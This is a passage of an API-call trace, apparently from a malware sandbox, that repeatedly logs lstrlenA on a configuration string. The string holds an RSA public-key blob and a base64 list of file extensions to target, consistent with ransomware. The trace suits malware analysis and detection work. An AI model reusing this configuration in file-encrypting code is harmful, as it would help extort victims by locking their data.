(lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.132] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.132] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.132] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBi